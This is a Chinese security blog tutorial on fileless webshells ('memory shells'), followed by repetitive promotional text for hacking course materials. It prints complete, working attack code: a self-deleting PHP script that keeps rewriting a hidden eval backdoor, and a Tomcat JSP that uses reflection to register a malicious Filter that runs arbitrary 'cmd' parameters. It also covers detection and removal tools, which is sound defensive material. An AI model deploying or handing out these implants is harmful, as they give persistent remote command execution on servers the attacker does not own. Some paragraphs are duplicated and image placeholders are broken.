前言
随着每年攻防对抗强度的增加,普通的木马在各大厂商的安全设备下,根本难以存活,想要落地一个实体木马的难度逐渐增大。逐步完善的过滤机制、前后端分离的趋势,使得传统的webshell生存空间越来越小。于是,随着时代的发展,内存马出现了。
内存马就是一种无需落地文件就能使用的webshell,它将恶意代码写入内存,拦截固定参数来达到webshell的效果。
发展过程如下:
web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马
php内存马
刚开始学习的时候,只知道php内存马,想的都是内存马,php和java应该会有一些相似的特征,应该可以类比一下。
php内存马常常作为AWD对抗赛的常用手段
先通过一个简单的php型看一下内存马的基本实现思路
<?php
ignore_user_abort(true); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
unlink(__FILE__); //删除自身
$file = '.config.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72")
{@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code); //创建shell.php
system('touch -m -d "2018-12-01 09:10:12" .config.php');
usleep(50); //间隔时间
}
?>
生成 .config.php 普通 ls 列不出来, 得 ls -a 才会列出==>隐藏文件
删除自身文件,然后在某一个目录下循环生成你的webshell==>不死
那我们可以梳理一下php内存马的流程:
1. 将携带循环生成木马的命令脚本上传至目标服务器
2. 删除文件本身
3. 让其以隐藏文件的方式,死循环创建文件,并向文件中写入木马
查杀php内存马
1. 重启php服务器,(service apache2 restart)
2. 强行kill 后台进程 ps aux | grep www-data | awk ‘{print $2}’ | xargs kill -9
3. while循环写脚本 while : ;do rm -rf xxx; done
4. 建立一个和不死马相同名字的文件或者目录,不断竞争写入一个和不死马同名的文件
<?php
while (1) {
$pid = 不死马的进程PID;
@unlink(".ski12.php");
exec("kill -9 $pid");
usleep(20);
}
?>
那我们根据php来类比一下java
1. 内存马无文件落地,用户无法浏览到
2. 文件不死,能够循环执行
要实现这两点,需要结合java的特性来看,通常运行java的web容器是Tomcat,这里以Tomcat为例
实现思路
我们先来看一下客户端(浏览器)与服务器(Tomcat)交互的简化流程
客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。
一句话总结:对访问路径映射及相关处理代码的动态注册。
我们要在上面这三个地方动手脚,于是按照作用的位置,我们有了
• listener 内存马
• filter内存马
• Servlet内存马
这三个,统称为:servlet-api型。
在特定框架里,如Spring/Struts2等框架,按照位置分类可以有
• interceptor型
• controller型
同时,针对不同的中间件还有不同的类型
• Tomcat的Pipeline&Valve
• Grizzly的FilterChain&Filter等等
最后一种是字节码增强型内存马,Java Agent内存马。
最终安全行业将分为以下几类
• 动态注册servlet/filter/listener(使用 servlet-api 的具体实现)
• 动态注册interceptor/controller(使用框架如 spring/struts2)
• 动态注册使用职责链设计模式的中间件、框架的实现(例如
Tomcat的Pipeline&Valve,Grizzly的FilterChain&Filter等等)
• 使用java agent技术写入字节码
以Filter型内存马为例
在进入正题之前,先说两个东西
java特性–反射
java的四大特性是,封装,继承,多态,反射,其中灵魂是反射。
我们先看这张图,正常我们new一个对象的时候,逻辑过程是,把class文件加载到jvm中,之后才能产生class对象,但是我们利用反射机制的话,就能够直接在jvm中调用已经加载好的class文件,从而实现去new一个对象。
简单的反射获取对象的方法有以下几种:
类名.class,如:com.anbai.sec.classloader.TestHelloWorld.class
Class.forName("com.anbai.sec.classloader.TestHelloWorld")
classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld")
常在连接数据库的时候这么用
Class.forName(“com.mysql.jdbc.Driver”)
①获取目标类型的Class对象
②通过Class对象分别获取Constructor类对象、Method类对象 & Field 类对象
③通过Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作
Tomcat热加载
上面说到,根据双亲委派机制,那么什么是双亲委派机制呢?
但是Tomcat不适用于这种机制,他所使用的是:
所以,在分析某些类的时候,要按照对应Tomcat里面去分析。
流程分析
filter也称之为过滤器,过滤器实际上就是对web资源进行拦截,做一些过滤,权限鉴别等处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。
当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中,开发人员如果调用了FilterChain对象的doFilter方法,则web服务器会检查FilterChain对象中是否还有filter,如果有,则调用第2个filter,如果没有,则调用目标资源。
如果我们动态创建一个filter并且将其放在最前面,我们的filter就会最先执行,当我们在filter中添加恶意代码,就会进行命令执行,这样也就成为了一个内存Webshell。
Filter生命周期
public void init(FilterConfig filterConfig) throws ServletException //初始化
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException; //拦截请求
public void destroy(); //销毁
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载Filter对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
我们可以通过动态注册的方法去注册一个FIlter
Filter类的介绍
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
ApplicationFilterChain:调用过滤器链
ApplicationFilterConfig:获取过滤器
ApplicationFilterFactory:组装过滤器链
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
OK,到这里,我我们有些许迷茫,什么是Context,wrapper
Servlet是java最基本的应用,而Tomcat是一个大的Servlet容器,tomcat
主要由connector连接器和容器组成。(这四个容器的关系如下),是父子关系,不是平行关系
和Servlet的方式不同,Filter不能通过注解去配置,必须在web.xml进行配置。
<?xml version="1.0"encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>filterDemo2</filter-name>
<filter-class>FilterDemo2</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
这里写了两个FilterDemo,代码基本相同,主要是为了展示这个Filter过滤链。
import javax.servlet.*;
import java.io.IOException;
public class FilterDemo2 implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("第一个Filter 初始化创建");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("第一个Filter执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
Tomcat是这样将我们自定义的filter调用的。
1. 根据请求的URL从FilterMaps中找出与之URL对应的Filter名称
2. 根据Filter名称去FilterConfigs中寻找对应名称的FilterConfig
3. 找到对应的FilterConfig 之后添加到FilterChain中,并且返回FilterChain
4.
filterChain中调用internalDoFilter遍历获取chain中的FilterConfig,然后从FilterConfig中获取Filter,然后调用Filter的
doFilter方法
模拟注入
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>cmd_Filters</filter-name>
<filter-class>cmd_Filters</filter-class>
</filter>
<filter-mapping>
<filter-name>cmd_Filters</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
public class cmd_Filters implements Filter {
public void destroy() {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
chain.doFilter(request, response);
}
public void init(FilterConfig config) throws ServletException {
}
}
实际过程中,我们是不可能操作web.xml的,我们需要使用反射进行动态注册,
流程如下:
1. 创建一个恶意Filter
2. 利用FilterDef对Filter进行一个封装
3. 将FilterDef添加到FilterDefs和FilterConfig
4. 创建FilterMap
,将我们的Filter和urlpattern相对应,存放到filterMaps中(由于Filter生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的Filter最先触发)
从前面的的分析,可以发现程序在创建过滤器链的时候,context变量里面包含了三个和filter有关的成员变量:filterConfigs,filterDefs,filterMaps
现在要解决的两个问题:
1. 如何获取这个context对象。
2. 如何修改filterConfigs,filterDefs,filterMaps,将恶意类插入。
如何获取context对象
首先,你需要知道
Tomcat中的对应的ServletContext实现是ApplicationContext。
在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。
当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context。
ServeltContext -> ApplicationContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
//上面几行的目的是为了获取(ApplicationContext)context
通过Java反射获取servletContext所属的类(ServletContext实际上是ApplicationContextFacade对象),使用getDeclaredField根据指定名称context获取类的属性(private
final
org.apache.catalina.core.ApplicationContext),因为是private类型,所以使用setAccessible取消对权限的检查,实现对私有的访问,此时appctx的值:
ApplicationContext ->
StandardContext(ApplicationContext实例中包含了StandardContext实例)
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//上面几行的目的是为了获取(StandradContext)context
通过Java反射获取applicationContext所属的类(org.apache.catalina.core.ApplicationContext),使用getDeclaredField根据指定名称context获取类的属性(private
final
org.apache.catalina.core.StandardContext),因为是private类型,使用setAccessible取消对权限的检查,实现对私有的访问,此时stdctx的值:
这样就可以获取(StandardContext)context对象。
之后组合起来
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
如何修改对应的属性
addFilterDef: 添加一个filterDef到Context
addFilterMapBefore:
添加filterMap到所有filter最前面
ApplicationFilterConfig:
为指定的过滤器构造一个新的 ApplicationFilterConfig
我们需要实例化一个FilterDef对象,并将恶意构造的恶意类添加到filterDef中
//定义一些基础属性、类名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();
//name = filterDemo
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
//添加filterDef
standardContext.addFilterDef(filterDef);
之后,实例化一个FilterMap对象,并将filterMap到所有filter最前面
//创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都 可触发可设置为/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/xyz");
//name = filterDemo
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);
最后,FilterConfigs存放filterConfig的数组,在FilterConfig中主要存放FilterDef和Filter对象等信息
先获取当前filterConfigs信息
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
通过Java反射来获得构造器(Constructor)对象并调用其newInstance()方法创建创建FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
然后将恶意的filter名和配置好的filterConfig传入
//name = filterDemo
filterConfigs.put(name,filterConfig);
至此,我们的恶意filter已经全部装载完成。
最终得到的内存马为
<%--
Created by IntelliJ IDEA.
User: 12451
Date: 2021/8/26
Time: 17:41
To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.deploy.FilterDef" %>
<%@ page import="org.apache.catalina.deploy.FilterMap" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "FilterAgent";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
效果如下
之后,在满足urlpattern的情况下,可以执行任意命令
注意,这样产生的内存马在重启之后是会消失的,有师傅写过重启后也不会消失的内存马,师傅们可以抽空看一看。
那么我们该怎么防御,或者说查杀呢?
Tomcat内存马的排除与查杀
原理 • 利用Java Agent技术遍历所有已经加载到内存中的class。先判断是否是内存马,是则进入内存查杀。
public class Transformer implements ClassFileTransformer {
public byte[] transform(ClassLoader classLoader, String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {
// 识别内存马
if(isMemshell(aClass,bytes)){
// 查杀内存马
byte[] newClassByte = killMemshell(aClass,bytes);
return newClassByte;
}else{
return bytes;
}
}
}
• 访问时抛异常(或跳过调用),中断此次调用
• 从系统中移除该对象
排查方式
• 如果是jsp注入,日志中排查可疑jsp的访问请求。
• 如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法
• 根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
•
如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。
•
如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200
查杀方式
可以使用哥斯拉,冰蝎,或者上文提到的内存马进行一个生成,然后再进行查杀。
1. VisualVM(远程调试)
VisualVM是一个集成多个JDK命令行工具的可视化工具。可以作为Java应用程序性能分析和运行监控的工具。开发人员可以利用它来监控、分析线程信息,浏览内存堆数据。系统管理员可以利用它来监测、控制Java应用程序横跨整个网络的情况。
通过图形化进行界面审计
2. arthas
arthas是Alibaba开源的Java诊断工具 https://github.com/alibaba/arthas
是一个比较好用的java应用检测工具,
了解文档可以从这里https://arthas.aliyun.com/zh-cn/
mbean(查看 Mbean 的信息,查看异常Filter/Servlet节点)
mbean | grep "Servlet"
dashboard(显示当前面板的实时状态)
jad(反编译指定已加载类的源码)
sc对jvm已经加载的类进行搜索
3. Copagent
这个项目是上面的改进版本,直接可以确定风险等级,并且将内存中的信息全部输出。项目地址:https://github.com/LandGrey/copagent试了一下,只有jdk1.8能够运行,之后会生成一个.copagent,里面有扫描结果。
在result里面可以查看结果,展示详细信息
根据风险等级判断
在相关class文件里查找这个包
代码可以在相关
java文件里找到
4. java-memshell-scannerhttps://github.com/c0ny1/java-memshell-
scanner通过jsp脚本扫描并查杀各类中间件内存马,比Java agent要温和一些。
参考文章:
1. https://www.cnblogs.com/stateis0/p/9062201.html
2. 站在巨人的肩膀学习Java Filter型内存马
(https://www.cnblogs.com/bmjoker/p/15114884.html)
3. 一文看懂内存马
(https://www.freebuf.com/articles/web/274466.html)
692776238387)][外链图片转存中…(img-6qDadCpr-1692776238387)]
在result里面可以查看结果,展示详细信息
[外链图片转存中…(img-fqd6t8Hc-1692776238387)]
根据风险等级判断
[外链图片转存中…(img-lPnHYFpN-1692776238388)]
在相关class文件里查找这个包
[外链图片转存中…(img-LAZAWddB-1692776238388)]代码可以在相关
java文件里找到
[外链图片转存中…(img-1lK8YywK-1692776238389)]
4. java-memshell-scannerhttps://github.com/c0ny1/java-memshell-
scanner通过jsp脚本扫描并查杀各类中间件内存马,比Java agent要温和一些。
[外链图片转存中…(img-jIDfLmtd-1692776238389)]
参考文章:
1. https://www.cnblogs.com/stateis0/p/9062201.html
2. 站在巨人的肩膀学习Java Filter型内存马
(https://www.cnblogs.com/bmjoker/p/15114884.html)
3. 一文看懂内存马
(https://www.freebuf.com/articles/web/274466.html)
题外话
初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:
2023届全国高校毕业生预计达到1158万人,就业形势严峻;
国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。
一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。
6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。
2022届大学毕业生月收入较高的前10个专业
本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。
具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gWqPEnxM-1692776238389)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20230809162658551.png)]
“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。
网络安全行业特点
1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!
2、人才缺口大,就业机会多
2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qFt6hCuz-1692776238390)(C:\Users\Administrator\Desktop\网安思维导图\享学首创年薪40W+网络安全工程师 青铜到王者技术成长路线V4.0.png)]
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K4O2lHSt-1692776238390)(C:\Users\Administrator\Desktop\网安资料截图\视频课件.jpeg)]
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
![](https://i-blog.csdnimg.cn/blog_migrate/2a2c3e29950c8ac929e3faf7be4c9c6d.jpeg)